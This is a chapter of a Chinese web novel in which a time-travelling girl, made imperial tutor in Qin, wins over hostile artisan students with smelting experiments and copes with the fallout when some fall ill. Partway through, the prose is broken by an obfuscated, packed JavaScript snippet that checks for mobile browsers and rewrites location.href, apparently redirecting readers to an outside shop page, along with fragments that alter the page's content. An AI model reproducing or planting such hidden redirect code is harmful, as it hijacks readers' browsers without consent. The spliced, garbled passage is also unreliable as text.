眼看着对方急得满头大汗下不来台,印玖突然福至心灵,识破陈院长背后手段。她善心大发,结束这场混乱,对着崔掌事说:“今日不上课,只作简单了解,崔掌事抓紧时间。” 这话仿佛让崔掌事抓住了什么救命稻草,高声道:“对!今日只做简单介绍,不涉及具体上课内容,大家切勿激动、切勿激动。” 叽叽喳喳的吵闹声终于静下来了。崔掌事看着印玖一脸一切尽在掌控之中的笑容,觉得自己一辈子的脸都在这个十四岁小姑娘的面前丢尽了。 “大人,请。”崔掌事撑着脸上笑容朝印玖道。 印玖上台做了一番自我介绍。面带笑容的她一眼扫过底下众人,皆是轻蔑与不服气的神色。 没关系,我会让你们服气的。印玖心中暗道。 等到印玖顺利结束开场,崔掌事再也待不下去了,说自己有事无论如何要离开。印玖表示理解尊重,也没错过崔掌事告别前,偷偷给坐在第三排的一个人使眼色的精彩瞬间。 那人与崔掌事交换完眼神,转头就看见印玖笑眯眯地看着他。 “。”完了。 在紧接着的下一个环节,他被顺利地强制安排成为班长。 底下不少人露出幸灾乐祸的神色,印玖在台上一看过去,是上一世和他玩得好的那批人,关键人还不少。 姚非祸还没来得及拒绝,只看见印玖又情绪饱满地宣布:“班长每月有月俸十两白银,从司长也就是自己的工资里出。” 幸灾乐祸瞬间变成羡慕嫉妒。原本要拒绝的话在嘴里打了转儿,成了兴奋的赞美。 姚非祸眼睛一转,嘴角压着笑意,又从眼睛露出。没想到自己有一天也能成为双面侠客那样的人物,既要向陈院长汇报,又要向帝师汇报。 刚赞美完,印玖列举了班长的三条义务:一、每次课后收集全部20位同学的学习情况;二、维持课堂秩序;三、提高全部同学的学习成绩。 对于这三条,姚非祸同学不以为意,旁边同学肘击他,他亦肘击回去。 任命了班长,印玖开始下一个环节。 整整一个下午,印玖并不着急上课,而是把时间花在了解这群人的情况上面。 上一世她与他们只有点头之交,属于认识脸但名字对应不上的那种。这一世她一一记住人名。她从讲台上走下来,走到第一列中间,让班长起头开始一个话题。她又走到课堂最后面,鼓励坐在最后面的腼腆同学发言。她来到第三列中间,用惯用的直白又跳脱的风格讲述自己上学的经历。 她内心盘算着他们不同的特质和优势,为他们的未来作设想。 墙外碧绿色爬山虎探到室内,试图要钩住房梁,爬满整个教室。 下午一个半时辰的授课时间很快就过去了。 快结束时,印玖将姚非祸单独叫出来给他安排一项任务:“你按照座位表写一份花名册给我吧。” 姚非祸笑道:“好嘞。” 陈院长只说阻挠印玖授课,可今天她没授课啊,那就不在陈院长要求范围内! 印玖安排完事项就提前离开了,刚出教室门就看见崔掌事守在门口,说陈院长邀请她去喝茶。 印玖自然却之不恭。 . 室内似乎换了一种香,比起檀香更加清甜,很符合小姑娘的喜好。 像是特意为了自己而换的。 印玖与陈院长互行礼数,按照上午的位置坐下。 “尝尝这茶。” 印玖端起抿了一口,笑道:“比之上午的涩些,但入喉却有回香。”说着又抿了一口。 “帝师初到院中,一切可还习惯?” “虽也有些波折,不过目前为止,一切还好。”明天正式开始上课才是难关。 “哦?帝师遇到了什么波折?可是底下有人办事不利?” “一些小问题,崔掌事已经解决了。” “那就好。崔掌事常年负责建造院各处日常事宜。帝师若有何处不便,帝师尽管告诉崔掌事便是。” “那就多谢陈院长指点了。”印玖顺杆上爬。 “……”陈院长的笑容很明显顿了一下,接话的速度也明显慢下来,“听闻帝师宿在宫内。” “是。我还未在咸阳寻到满意住宅,只能继续住在宫内了。” 陈院长点点头道:“大王政令下得匆忙,帝师的院内腰牌明日才会做出来。明日起,帝师若想在院内吃饭、就寝,都方便许多。” 印玖忙活了一下午,也无精力再与眼前人过招,简单聊了两句,便出了门。 崔掌事一路将印玖送到建造院门口,脸上笑容自转身那一刻消失,快步来到陈院长办公的堂内,听候吩咐。 “送出去啦?” “是。”崔掌事眼尖地看见陈院长案头上搁着一卷帛锦画册。说是画册又不完整,里面文字内容与图画相间,画的东西很是简约,只有几个小圆圈和箭头方向。他知晓陈院长今日下午出了一趟门,通过和院长的车夫交谈得知去的是副相府中。 陈院长将他从昌平君那里拿到的帛锦一遮,一语双关问:“你看着如何?” 崔掌事将头低下,择其一而答:“帝师似乎对建造院有些了解。” “这是蓄谋已久啊。” “不知……”崔掌事小心翼翼问道,“是大王的意思还是相邦的意思?” 陈院长虚看了一眼崔掌事,神情像是在说:凭你也配知道?他道:“上面的意思是,适当阻碍,便宜行事。” “是。”那就是多捞些钱了。 “你先出去吧,我再看看这卷帛锦。” 崔掌事退下后,陈院长又翻开帛锦细细看起来,越看越惊叹:难怪那个小姑娘能被封为帝师! 他在建造院待了7年,在位院长5年,没有人比他更懂这些东西的直接作用。没有人比他更震撼于这上面的内容。 另一半,西院教室外台阶上,以姚非祸为中心左右蹲坐着好几个人。 有人犹豫道:“也没说来的是个小姑娘啊,会不会显得我们以大欺小?” “管他是男是女、年纪多大,想拿我们建造院作她的跳板,下辈子吧!” “就是!一个小姑娘能有什么本事?也不知道上面怎么回事,让这样的人来教我们?!” “可是,再如何,也只是个小姑娘啊,怕还未经人事,什么都不懂。”有人不同意。 “你信她未经人事?你忘了她帝师的封号谁给的?” “当今大王,还是太过年幼!” “嘘!你少说两句!聊聊她就算了,别把大王带上!” “大哥你说句话呀!” 姚非祸低着头思考。他看印玖的神态,不像汲汲于富贵之人,但是那闻所未闻的物理,真的不是某些大人物为了控制建造院弄出来的噱头吗? 姚非祸不知道,但他有自己的坚持:“再看看。毕竟我们都不曾了解过那个名叫物理的东西。不了解,就不要随意下论断。” . 昌平君刚吃完午饭,见外面阳光正好,携小妾在院内消食散步,远远的看见下人进来通报,步子比平时更快。他收回视线来回走着,内心盘算着该是谁来了。 下人上前道“启禀大人,大王派蒙大人来了。” “请进来。”昌平君抬抬手,下人立即转身去通传。 “死鬼……”小妾不满被打扰,捶了一拳昌平君的胸口,被他一把接住,揉搓几下。小妾又羞又臊,抽出手去看那下人有没有走远,见走远了才松一口气,在眼前人脸上留下香热一吻,笑意盈盈地离开了。 嬴政找他也算意料之内。昌平君计算着时间在院内又逛了几圈,他进了屋,坐在正殿上没一会儿,等到了蒙毅和自家管家。 “见过副相。” 蒙毅一副刚正的样子,令昌平君想起他爷爷蒙骜的风采。 “蒙大人免礼。不知大王有何要事?” 见他果然说起有关建造院的事情,昌平君便知要进一趟宫。 “劳烦蒙大人稍等一会儿,我还有些事要吩咐下人去做。” 蒙毅颔首。 昌平君给管家使了个眼色,二人一道进了旁边小室。 蒙毅并不知道二人商量了什么,只知道昌平君很快就出来了,随自己进了宫。 “劳副相进宫一趟。” 嬴政亲自给他斟了酒。酒液鲜红似血,是西域那边的葡萄酿的,并不常见。 “大王客气。不知大王有何吩咐?” 在嬴政即位之际,他与姑母发起了一场事变,虽未能成功,但也实实在在和眼前这位大王结了仇。故二人虽有亲属之名,却无亲属之情。 嬴政不喜欢废话,昌平君的直接刚好遂了他的愿。他将印玖所写的帛锦推出去,眼神坚定,不容置疑道:“此学科的推广事关秦国百年大计,还请副相倾力相助帝师。” 昌平君也没说客套话,他接过帛锦,粗略扫了两眼,想了想道:“既然大王相托,又事关秦国国事,臣必定竭力而为。只是帝师年幼,未免有不周到的地方,我不得不随机行事。” “具体事宜副相可与帝师商量。” 这就是默许他从中捞好处了。 昌平君将酒饮尽,语气缓和几分道:“既如此,过几日我便请帝师来府上一叙,拟定章程再交与大王。” “好。” 二人之间没有更多交流。 风起于青萍之间,带着秋的冷峻悄然渗透咸阳的每一个角落,嬴政将昌平君送出殿门,提醒了一句:“天要冷了,表叔记得添衣。” 昌平君一愣神,神色再缓几分,道:“大王也是,记得让喜姑娘多备厚衣。臣记得大王去年便在秋冬交替之际病了一场。此外切记莫要熬夜办公,伤身伤神。” . 印玖乘坐华盖马车回了章台宫,先由喜安排的宫娥带着去沐浴。 洗去一身风尘后,喜温柔微笑前来,帮她挽好她挽了三次都挽不好的头发,问她白天可还好。 印玖一和她不熟,二拿不准她的动机,只搪塞过去。 喜也不深问,只告诉她每日钟响二声是卯时过半,大王吃早饭的时间在钟响二声再过两刻钟后。 印玖换算一下得出7点半的结论,觉得和自己计划的时间不冲突,眼眸流转间对喜表达感谢,烛火照耀下流光溢彩。 喜还看得有些思念,印玖已经换上绿色宽敞衣袍迫不及待地去吃饭。 室内只余一声叹息无人听见。 印玖在路上盘算着要先吃饭,后算账。万一因为算账吃不上饭就不值了,只吃饭不算账也是不行的。 . “建造院伙食如何?”嬴政给印玖勺了一勺鱼汤,白嫩鱼肉伴着浓白鱼汤,印玖吃得很是欢快。越吃越觉得自己刚才的策略无比正确。 “还行。” “哦?老师居然给了“还行”的评价?” “矮个子里面拔高。”印玖言简意赅。今天的伙食比上一世她在建造院吃得好多了。 嬴政笑了笑看印玖没有要聊的意思,遵从其意专心吃饭。 饭后,喜上前撤下一大堆汤汤水水。嬴政邀印玖去出去走走。印玖欣然接受。 二人目光相撞,各有心思。 “见到陈昀了吗?” “那个院长?见到了。感觉他很排外。” “他在建造院7年,早已组建了一套自己的班底,你想进去,确实要吃些苦头。” 印玖斜着眼瞅他,等着他说出让自己满意的信息。 嬴政十分不爽印玖一副“主人翁”的样子,堪堪停在这里,不再言语。 印玖:“。”不是,他又怎么了? “系统,我惹到他了吗?他惹到我了才对吧?他把我放在敌对阵营去接受摧残。我现在只是有点累了,提不起精神来捧着他而已。” “宿主,他是皇帝,你不是。”系统一针见血地指出。 印玖:“。” 好吧,印玖转动下午使用过度的脑筋,悠悠道:“陛下让我去,是希望用物理收买人心吗?” “寡人只觉得,你的物理能入他的眼。至于其他的,就看老师自己的本事了。” “现在大家的眼睛都盯着呢,短期内做不出成绩,只怕要连累陛下和臣一起被人笑话。” “九层高台非一日之功,老师不是重眼前小利轻长远大局的人,寡人也不是。” “陛下对我还真是有信心啊。” “自然。帝师二字,寡人认为只有老师担得。” “我不这么认为。”印玖不给面子地驳回,一脸苦闷。她认为嬴政这话半真半假。对于自己的潜能他是真的欣赏,否则不会这么快就封自己为“帝师”和他深度绑定,半点不给吕不韦机会,当然共感也是一个关键原因。至于吕不韦对自己这个大资源不争不抢拱手让给嬴政……怎么看怎么奇怪,这个延后思考。 眼下最重要的问题是,明天可怎么办呐!可以不顾眼前小利,但不能不看眼前路吧?难题并不会因为观念的转变而消失啊! 嬴政适时又抛出新的信息:“推广物理的事情,寡人今日叫来了副相,命他负责。过几日,他会邀请老师去府上商讨相关事宜。” 原来还是为我的工作铺垫了一些的。印玖心稍宽慰,随即问出重点:“他懂物理吗?” “不懂。但是事关国家大事,他会尽心的。” 印玖心道未必,这位可是在你攻打楚国的时候狠狠地倒戈了,打掉你一半军队。 “借陛下吉言吧。” 都不懂物理,再尽心也不能放手让他搞,印玖心想,难题加一又加一。 印玖麻木。 嬴政又提醒道:“虽然前日在会上众臣皆对物理持支持态度,但实际执行过程中却不尽然。让年纪大了的人去接受新事物总是艰难的。老师推行物理学科一事必然阻力重重,还望多加努力,不要气馁。” 印玖点点头,这她也知道,所以才一个头两个大。 否则那些难题也没这么难解决! 她现在就好比被推到台前赶鸭子上架的商鞅,要去开始她的物理变法了。 奈何支持她的秦王却不如秦孝公那般有权力,但反对的人却比当初的贵族更有力量。 不知道会不会有属于她的五匹小马在前方等着她。 真是让人难过啊! 月上中天,印玖还在对着灯盏撑着头苦想——并非因为嬴政给她一通安慰、加油打气灌鸡汤,而是她本来就计划想一想明天的对策。 她知道那群人对物理很感兴趣,上一世有个人主动在吃饭时间端着餐盘来问她是什么,她难得见有人对这个东西感兴趣,放下筷子一边说一边用手比划,结果吸引了大半个食堂的人来看。 其间不乏有人议论。 “看吧,我就知道是把这些流程数字化,这样更方便。” “人家是建立了一个体系,哪像你这样小打小闹!” “就是,你以为会简单标几个数字就牛叉了吗?人家能把全套流程每个动作都标上数字。” 不仅如此,他们常年和器具、工艺打交道,这些知识天天用,只是不能用一套体系将其概括而已,教授本身并不难。 难的是不让他们捣乱。 毕竟他们有院长的kpi。 如何才能成功绕过院长的阻挠达成两全其美的结局呢? 印玖枯坐半夜也没想到。 你说问系统? 系统只会微笑说:“请宿主自行探索,好好加油!” 印玖感觉再多听一秒自己都会忍不住揍飞它。 也不知何时进入梦乡,印玖再有意识,已经是第二天了。 她迷迷糊糊听着外面钟响了两声,缓缓睁开眼睛。 睡在床脚的姝还没醒,想来把自己搬到床上花了她不少功夫。 印玖轻轻穿好衣服和鞋,等到要洗漱才发觉,自己这个身份再去打水太过不合适。只能将小姑娘轻轻叫醒劳烦她。 另一边嬴政还在练武,感受到内心有些波动便知印玖醒了。 这倒是让他刮目相看。认识她一个礼拜了,她起得最早的两天就是昨天和今天。 在等待姝取水的过程中,印玖在小院内来回踱步。 马上就要去建造院上课了,她还不知道该用什么办法解决陈昀暗戳戳的阻挠。而且说是去教书,整个物理司也就只有她自己手写给嬴政的教材,底下20个人凑不出第二本书。 印玖深觉自己这个光杆司令悲催得很! 该怎么办呢?印玖步伐越迈越快。 “大人,水来了。”姝端着满满一盆水从门外进来,上面放着毛巾,旁边还摆着刷牙用的盐和柳叶。 印玖想着这玩意儿应该早点改成牙刷和牙膏,只需要找到一些韧性好的材料,用一些类似刺绣工艺的工艺固定刷头的毛,牙膏也不麻烦,只要…… 等等! 我还可以这样! 姝刚进门就看见印玖面对着自己,看着自己手中的水发呆,一点声音也没有,但是脸上慢慢扬起巨大的笑容,最后发出疯癫的笑声: “哈哈哈哈!我悟啦!哈哈哈哈哈!道爷我成啦!” 货真价实十六岁的姝神色不定,默默后退几步,放下水盆转身就走,出了院门直接百里加速跑开,两滴清泪从脸颊滑落飘散在身后。 妈妈呀,她家大人是让鬼附身了吗?! 太可怕了!!! 印玖回过神来才发现姝已经不见了,地上只有一个水盆。 这丫头也不知道跑哪儿去了。 印玖一边想一边走到水盆前蹲下,伸出一根手指头测了水温,发现是热的,自己端进去漱口洗脸,然后出门去和嬴政吃早饭。 . “老师思索半夜,可想到了解决问题的办法?” “昂。今天早上灵感迸发,突然就想到了。”印玖一筷子串了三个小笼包边想等会儿上课的节奏边吃。 “那就好。那便预祝老师此行顺利了。”嬴政一眼看透她内心所想,声音温和祝福,专心吃饭,不再言语。 “哈哈,哈哈。”印玖也知道对方明白自己在想正事,敷衍两句结束对话。 印玖一路上都在备课,马车停下时才回神下车,一抬头看见崔掌事一路小跑过来,手上托着她的腰牌。 印玖接过腰牌拿在手上,与崔掌事简单寒暄。 进了院门,印玖开始实施自己的计划:“今日便要正式开始上课了。说实话,我的内心还是很忐忑。” 崔掌事点点头,表情哀动表示理解。 印玖一边往里走一边又道:“陈院长说,若有难事,尽管来找崔掌事。不知崔掌事今日可否担任督学一角,也好给我一点信心。” 崔掌事差点连连摇头拒绝。 开玩笑!他昨天在台上度过了漫长的一刻钟,底下无一人听他指挥。那一刻钟堪称他的人生污点!今日无论如何,他不要再经历如此惨状。 至于印玖会被怎么对待,关他什么事?若这一关都过不了,那她还是赶紧走人吧! 他赔着笑脸道:“实不相瞒,前几日为了迅速筹建大人的物理司,其他几院挪了不少东西出来。今日在下要去集市采买,须细细对比不同家货物,实在分身乏力,还望大人海涵。” 印玖叹了口气,故作挽留,三次无果,装出守着文人体面不再强求的样子。 一个来回间,印玖已经到了西院门口。 崔掌事把人送到这里,一溜烟跑没影了。 印玖回头边看边感慨,简直跑得比兔子还快。 回过头对上不远处的教室,从这里就能听见喧闹声,可见里面定是热闹非凡。 印玖难得地整理了一下着装,将印穗往腰后别了别,不急不慌踏入教室。 教室里的人只静了一瞬,声音又如下油锅的菜般炸开。 印玖微笑道:“上课地点在冶炼室,大家跟我来吧。姚非祸,清点人数带队。” 众人闻言都愣了,教室里瞬间静得可以听见针掉落的声音。 不是,也没被暗示过还得去冶炼室啊! 那是能随便去的吗?! 姚非祸脑子转了好几个弯,才被旁边的人肘击醒过来,见印玖一直面带微笑看着她,哦了两声跑出座位到讲台上,略带尴尬地问印玖如何整队。 “按身高从矮到高排成两列就行,控制好人与人的间隙,确保别后脚踩前脚造成踩踏。” 姚非祸一边想“后脚踩前脚”是什么意思,一边按照印玖的要求让人排好队。 两列队伍排得松松散散,间距有短有长,姚非祸看完终于明白印玖的“后脚踩前脚”是什么意思,让靠得近的人站开些,被一个好兄弟打趣说“挺殷勤”,他直接回怼:“踩到前面的人摔了跤你负责啊?”那人瞬间没来声。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17151485|196457||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 姚非祸跑到前面跟印玖说队伍整好了。 印玖点点头。陈昀知道姚非祸在这群人当中有些领导能力,她也知道。故而才会顺水推舟把他推为班长。 然后她就让他带着队伍和她去冶炼室。 “啊?不是,您都不知道冶炼室在哪儿呢?!”姚非祸紧张道。 “对呀,我不知道。那咋了?” “您不知道您还去呢?!”那是能随便去的地方吗?! 那里温度多高哇! 那里的器具多危险啊! 你一个十四岁的小姑娘,有初生牛犊不怕虎的胆子,我们没有这样的命啊! “我不知道位置,不代表我不清楚我要做什么。带路吧。”说着印玖就要动身。 众人你看看我,我看看你,都觉得印玖疯了。 早知道表现好点不捣乱了,被院长赶出去也比小命玩完强啊! 印玖领着一大群学生浩浩荡荡地前往冶炼室,一大堆人都有心事愣是没人留意印玖不像是初次到访的样子,轻车熟路地走过每一个拐弯,看起来像是姚非祸带队的功劳。 “站住,冶炼室重地,闲杂人等不许入内!”把守士兵将刀横在门上,看着这群……呃,眼神的人,满脑问号。 印玖拿出物理司司长的腰牌道:“物理司授课,放行。” “授课为何要来此处?” “因为我喜欢。我就问你司长有没有这个权力?” 士兵不理会印玖,只对旁边士兵道:“你去通知陈院长。” 众学子如见救星般看着这位坚贞不屈的士兵,眼神充满感激。 对,只要院长阻止,我们就还有救,我们就不用送命! 印玖一脸无所谓,她已然知道结果。昌平君和她明面上还是要合作的,陈昀不会不给面子。 士兵一路跑着过去,半晌又跑回来,带来院长的口信:“院长说,司长确实有进冶炼室操作的权力,让我们放行。” 这个士兵说完就归位了。 一直守在原地的士兵听完,道了声“得罪”,收回刀,放行众人。 众学子的目光又暗淡下来。 完了,这次谁也救不了我们! 冶炼室的温度比外面至少高15度,一进门就是扑面而来的热浪。里面一直有人工作,汗臭味被外来的凉风一吹十分酸爽。 印玖捂着鼻子和身材肥大、袒胸露乳的工人头领交涉,对方听完印玖的想法,高兴地表示支持,甚至说现在不忙,可以派出一个人来协助她教学。 印玖一愣,这里还有没被陈昀敲打过的人吗? 不过细想想也是,这些工人大概在陈昀眼里还不够格让人记住。 头领不主动提她也是要借人的,否则她细胳膊细腿,无论如何也不能亲自上手实验。 授课正式开始,面前二十位学生对于冶炼室或多或少都有使用过,印玖选在这里就是因为它最接近结果,最能让他们直观了解到物理的作用。 众学子见印玖拿起一个模具就开始讲起来,刚要按照院长的暗示捣乱,就见她让协助工人肃将温度高达上千度的铁水按照不同的要求灌入模具。 众人内心都滴了把汗,一句话不敢讲,生怕那橙黄色的铁水不小心溅出来,这可是要要命的! 只有印玖声音冷静,将一系列流程用数据量化,帮助他们建立起物理思维,而非按照经验思考。 “我们知道铁水的重量为……” 待到实验结果出来时,众人惊奇地发现,不同变量下结果恰如印玖所预料的那样,不用印玖主动引导,自发地开始讨论起来。 陈昀之前的暗示在这个炙热封闭的空间被慢慢融化,只剩下对于科学的热情与追求。 印玖和帮了大忙的冶炼工人对视一眼,再次表达自己的感谢。 实际上,今天的实验只是她上一世诸多实验中的一次复现而已。 协助她的工人受宠若惊,忙说不用谢,只要帝师有用得上他的地方,尽管吩咐就是。 印玖想了两天终于想明白了,这群17岁左右的年轻人与自己唱反调,陈昀的暗示或明示是一方面,更重要的应该是,他们没见过物理究竟是如何改变认识世界的角度和方式,并且影响自己的创造和思考的。 他们并不是不喜欢物理,只是没见过物理。 而今天的实验让他们亲眼看到了,物理是一套有用的思维体系,是可以创造和改进生产工具的学科,而非是外来的一个人要依靠所谓“物理”来他们建造院指手画脚。 印玖等待着讨论热度渐歇,开始复现自己上一世在建造院做的第二个实验…… 一个上午很快就过去了,在这个热炉般的冶炼室里面,没有人想着捣乱,而是在对比控制变量下得出的不同结果,热得满头大汗也只是随手一擦。 有几个人叫着饭点了要去吃饭,没有人理他,都在对着自己感兴趣的内容激烈地与人辩论或自言自语。 印玖与工人头领商量着去食堂打包饭菜过来这里。 众人陆续吃过饭,又开始期待印玖能和这位叫肃的工人师傅配合做出什么惊奇有趣的实验。上午他们已经测量了高温熔体粘度、了解了空中气体铁还原成固体铁的整个过程,还未到上课时间,就有人来问下午有什么实验。 当然也有人不相信印玖的解释,自己在角落里构建自己的思路来解释空气中出现的铁气。 和物理待在一起的时间无论如何都嫌短。 印玖结束了一天的实验课,带着众学生回教室,让姚非祸安排好课后作业就宣布了下课。 她粗略回忆了一下,今天至少出汗浸湿三次衣服又被冶炼室里火炉一边的温度烘干。现在只想她暂时不想物理,只想洗个澡。 印玖神清气爽,一路回到房间内,姝早就备好了浴桶和水给她。 “大人今日可还顺利吗?”姝一边问一边替印玖将头发弄下来。 “顺利!大人我今天太顺利了!我洗完澡跟你说。”印玖声音有些沙哑。 她讲解实验原理的时候情绪有些激动,一不小心用嗓过度了。 “好。” 印玖没有人伺候沐浴的习惯,姝一早就知道,将新衣服展开铺好后就退下了。 舒舒服服泡了个澡,印玖路上和姝一路聊着到了秦王殿,一路上难抑对物理的热爱与兴奋。 “今日如何?”嬴政将老鸭汤往印玖碗前轻轻推。 “很好。”印玖讲述了自己的实验如何震惊众人。 嬴政听完后神色不变,只提醒:“铁气吸入体内可否不妥?” 印玖一愣,点头道:“氧化铁确实是个很大的安全隐患。而且冶炼室里不通风,气体排不出去,难怪周围墙壁都是黑的。” 嬴政几乎要猜到印玖接下来要说是什么。 “应该做出专业的过滤器。不过这个东西我只知道原理——” “老师,先吃饭。”嬴政适时打断。他看印玖握筷子的手都在抖,像饿极了的人。 “行吧。” 印玖打算把安全隐患的讨论放到明天的课堂上。 第三天,斗志昂扬的印玖来到教室内,扫过台下诸人,发现座位空了三个。 姚非祸将众人完成的课后思考题收上来交给印玖,告诉她说那几个人一直咳嗽发烧,今天请假了。 印玖刚要开口道出真相,让众人讨论安全隐患问题,却见崔掌事一脸忧心忡忡地来找她。 “帝师大人,陈院长请您去一趟。” 多半是因为学生的事情找自己要说法。 印玖心下有了底,让姚非祸引导他们讨论实验中潜在的安全隐患,这才面对崔掌事,表情平静道:“走吧。” 印玖第三次来到这间雅室,比上一世还多一次。 香还是好香,茶还是好茶。 印玖喝过一口,陈昀便单刀直入地谈论起学生生病的事情来。 “此事是我考虑不周,我愿意承担全部结果。” 印玖做好了准备。 陈昀见她一脸凝重的样子,对她高看两眼:“学生的安全也是安全呐,帝师大人有此担当甚好。” “可请了大夫过来诊断?” 陈昀点点头:“一早便命人请了大夫去看了。大夫说,他们三位皆感染炎症,幸好不严重。若是好好调理一番,好转的可能性很大。” 印玖双眸暗淡下来。 这个时代缺抗生素,一点炎症都可能致命。 偏偏她不懂医术! 陈昀见状宽慰道:“大人切勿过度忧心。此类症状在建造院不算罕见,城南边的医馆还算有经验,只要好好治疗,理论上不会出大问题。” 印玖一愣,理论上?不是我在物理教材里惯用的词吗? 印玖的内心被自责占据,并未深思。她道:“我会承担他们所有的医药费用以及申请给他们改善伙食。费用一律从我这里出。” 陈昀点点头:“只是此事不得不上报至御史大夫那里。” 御史大夫有监察之职,也是应该的。 “自然。”印玖垂头道。 陈昀一愣。这小姑娘怎么不上道呢?花点钱就能打点的事情何须闹到御史大夫那里留一个把柄?副相可是说了,便宜行事。 他无奈暗示道:“上报的流程上,也就那么几道手续,都是建造院内的人,大人有个准备。” “好。” “……”陈昀也不知道对方是领悟到了还是没有。 他等了一会儿,没等到任何下文,正要放弃,却见印玖又问:“对了,那三位学子的费用预计是多少?” 原来在这里吗? 他道:“此事由崔掌事负责,大人且去和他商量。” 印玖点点头,道过谢离开了。 然后她就得到了一个惊人的数字。 “为什么要150两这么多?药有这么贵吗?” 崔掌事以为对方在说“贿赂”而非“药费”,笑道:“帝师大人有所不知,那家医馆的药,保证药到病除,绝无后患。” 印玖听他的描述,觉得有点奇怪又说不上来。但想到对方之前能闭着眼睛夸自己,便判断他在胡说八道。 只是对方应该不会拿学生的命开玩笑。 如果以自己的名义去医馆抓药,未必能抓到好药,还是让他们去做吧。只是中间的回扣是少不了的。 但毕竟是自己的责任,自己理亏。 于是肉疼地拿出150两递给对方。 崔掌事看着印玖如此明显的动作直接吓了一大跳。他吓得后退两步,环视四周时未曾发现有旁观者,才快速接过印玖递出的银两,用只有两个人才能听见的蚊子声说:“我说大人啊,下次可悠着点!这样的事情可不能见光啊!” 印玖心道:你知道不能见光还干这种收受回扣的事情? 又破财又被记过的,印玖郁闷至极,随便应付了两句,便自己走回西院。 崔掌事拿了银子心情愉悦。 二人都未曾注意到假山后面鞋底踩碎树叶的细微动静。 四周空静清幽,枯叶飘零。印玖在青石板路上走着,感受到属于嬴政的那团被自己赶到角落边上的黑雾的悄悄动了,分出干净的一缕勾了勾她的手指。 “……”这算是安慰吗? 多谢了。印玖心情好了不少,不再低着头沮丧,抬眼向前看去。 西院还是热闹哄哄,但这一次印玖却有些缺乏勇气面对。 她站在院门口想,如果这一次,大家是因为她的疏忽责怪她,那也是应该的 大不了从头再来。 . 姚非祸看着印玖随崔掌事远去的脚步,想到她刚才坚定鼓励自己的眼神,心下很快也明白过来。 他在建造院三年,多少明白冶炼室那种地方空气有毒,但是昨天大家都把精力放在研究物理现象上,没谁顾得上注意安全防护,这才导致3个体弱的同学生了病。 经过昨天一天的学习,他已经明白物理并非如他刻板印象中的那样。他来建造院本来就是喜欢器具、喜欢制造和设计,而现在,他也喜欢上了物理。 于是他转身,开始组织班上的学生讨论昨天的实验过程中存在的安全隐患。 印玖进门后并未听见嘈杂声,而是充满激情地、有活力地、热情地参与讨论的声音。 她突然有些感到。 姚非祸见她回来,暂停了课堂讨论,向印玖概述了他们的讨论成果以及考虑到的一些解决办法。 印玖竭力抛开那些自责,将注意力放在物理本身上,她一直做得很好,也很快就成功了。她重新扬起笑容面向台下众人,对他们的想法和思考给予肯定,结合自己的现代经验和知识给出了建议。 接着,她留下作业,要求他们寻找材料制作简易的防护工具。 众人都能看出来印玖进来时心事重重,虽然下午应该还有课程安排,但无人对她的临时变动质疑。姚非祸作为班长带头表示支持,让她放心,自己会带着班上的同学认真完成作业。 印玖一眼看出他们的好意,笑道:“多谢大家的关心。不过,课程安排本来就是理论+实验+实操的形式,今天我的安排没有任何不妥。我理解大家一些心情的转变,也感谢大家对我的支持。我很喜欢物理,非常非常喜欢,不管是为了物理还是肩上这份责任,我都希望我呈现给大家的物理课是有趣的、生动的,当然,也是安全的。感谢大家!” 台下学生面面相觑,没见过身份尊贵的教书先生真诚地鼓励自己、甚至感谢自己的话,直觉告诉他们该做些什么,但都不知道该做些什么,直到印玖带头鼓起掌,全程响起热烈的掌声。 “为了物理!”姚非祸带头兴奋道。 “为了物理!” “为了物理!” 7. 老师 下午不上课,姚非祸他们三五成群地聚在一起讨论,也有人在座位上,用司内提供的不可外带的纸张和毛笔演算着什么。有些人甚至会觉得无聊,拿出随身携带的小刀等器具,折一根树枝进行雕刻。 寻找材料制作防护工具非一时之力,印玖上一世人际关系一般,接触不到各种材料,在这方面没有经验积累,也不指望他们能很快完成任务,但是提醒了此事事关生命安全,希望大家引起重视。 印玖提醒完,就近在旁边的休息室续写好几天没动笔的给嬴政看的教材,同时方便学生过来问问题。 学堂以一个星期为周期,实行上三修四制,因为姚非祸他们不仅是学生,还是建造院的匠人,需要在建造院干活。这次下课后,再见就是下个星期了。 一回章台宫,印玖把自己扔进浴桶里面舒舒服服地泡了半个小时,换好衣服去找嬴政吃饭。 三天下来她感觉自己格外累,这种累比上一世累多了,比她在现代学习物理时更累。 印玖今天在泡澡的时候自我审视复盘了一番,终于发现,原来自己每天累个半死也不全是自己这副脆皮身体的原因,共感另一头连着的嬴政要承担大部分责任。 好不容易找到休息时间,印玖将这事提上日常。 “来了。” “嗯。顺便找你讨论点事情。”印玖抄起筷子边吃边说。 “何事?” “呃,你有没有发现,你最近精力变多了一点。” 嬴政听罢就笑了。尽管早有准备,这个开头还让嬴政措手不及。他知道印玖今天一定会来找自己,但开启话题的角度如此奇怪,还真是不同寻常。 “好像是有点。”老实说他并没有注意到这种细节,但他停笔回忆了一番,发现确如印玖所说。 所以呢,他耐心等待印玖下文。 “那是因为我每天都替你多睡了一个时辰。你真的不觉得你的作息很让人窒息吗?” “。”那又如何,嬴政丝毫不在意。他的作息并未影响到自己,这是印玖该解决的问题。 “你的诉求呢?”嬴政问。 “为我牺牲的闲暇时间付费。”印玖搁下筷子道,“陛下不需要减少自己的工作时间,只需要为我对于我让出的闲暇时间进行补偿就可以了。毕竟按照陛下这个作息,若没有共感的我在这边给你补偿精力和能量,恐怕也是坚持不了多久的。” 嬴政再次对印玖感到新奇。印玖是他所见的人当中唯一一个不以情理动人,而是以利益和逻辑晓事的人。前者的方式他只想当废话处理,后者他才愿意看两眼。更不用说,她能在如此短的时间里面,在建造院上好她的第一堂课。 嬴政心情极好地答应了。 “今日西院事项如何?” “还行吧。”印玖想了一圈今天的糟心事及可能影响,决定还是开口问一下经验更丰富的嬴政。 嬴政不以为意:“你不是给了打点钱吗?” 